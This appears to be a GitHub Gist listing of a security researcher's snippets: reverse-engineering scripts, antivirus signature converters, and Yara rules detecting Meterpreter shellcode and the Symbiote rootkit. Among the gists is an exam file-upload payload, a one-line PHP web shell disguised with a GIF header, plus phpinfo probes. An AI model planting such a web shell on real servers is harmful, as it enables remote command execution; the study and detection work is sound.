Skip to content

Instantly share code, notes, and snippets.

@dmknght
dmknght / function_call_hash.py
Created June 22, 2023 21:09
Use rizin / radare2 to collect function calls of a function, then generate hash. The point is to find code reuse
import rzpipe # Using rizin framework. Replace with r2pipe for radare2
import json
import hashlib
import os
class BinaryMetadata:
def __init__(self, path: str):
self.pipe = rzpipe.open(path)
self.bin_path = path
@dmknght
dmknght / qiling_with_asm.py
Created June 19, 2023 07:59
print asm opcode and bytes from qiling emulator
from qiling import Qiling
from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)
def print_asm(ql, address, size):
# Credits -> https://isc.sans.edu/diary/Qiling+A+true+instrumentable+binary+emulation+framework/27372
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
opcode = ' '.join('{:02x}'.format(x) for x in i.bytes)
@dmknght
dmknght / extra_test.php
Last active May 5, 2023 15:04
Extra test for file upload
dmknght<?php phpinfo();?>
@dmknght
dmknght / dmknght.php
Created May 5, 2023 13:42
WPT03 exam - payload RCE
GIF89a <?php system($_GET['c']);?>
@dmknght
dmknght / phpinfo.php
Created May 5, 2023 13:36
Payload for WPT03
GIF89a <?php phpinfo();?>
@dmknght
dmknght / test.txt
Last active May 5, 2023 13:30
exam test
GIF89a hehe đang làm exam nè
@dmknght
dmknght / parse_windef_sigs.nim
Last active February 25, 2023 06:23
Parse signatures from extracted WinDef's DB. This script won't extract compressed DB (use WDExtract instead)
import streams
import bitops
import strutils
import std/enumutils
const
db_name = "mpavbase.vdm.extracted"
type
@dmknght
dmknght / clam_hashes_to_yara.nim
Created January 14, 2023 03:30
A quick nim script to convert ClamAV hashes to Yara rules
# Compile: nim c --opt:speed clam_hashes_to_yara.nim
import strutils
const
clam_db_path = "/home/dmknght/Desktop/performance_comparison/main.hdb"
yr_converted_rule = "/home/dmknght/Desktop/performance_comparison/clam_hashes.yara"
type
HashSig = object
@dmknght
dmknght / meterpreter.yara
Created December 30, 2022 10:39
Rule to detect Metasploit's meterpreter shellcode
rule elf64_meterpreter_revtcp_raw {
meta:
description = "Detect Meterpreter ELF 64 staged reverse TCP no encoders"
strings:
$ = {6a 22 [4] 0f 05 [10] 6a 29 [8] 0f 05}
condition:
all of them
}
@dmknght
dmknght / symbiote.yara
Created November 17, 2022 21:58
Yara rule to detect Symbiote Linux Rootkit
import "elf"
/*
When system is infected by this rootkit
all processes load malicious lib (LD_PRELOAD)
It's possible to detect via strings, however,
current Yara version doesn't load ELF header
of mapped file.
*/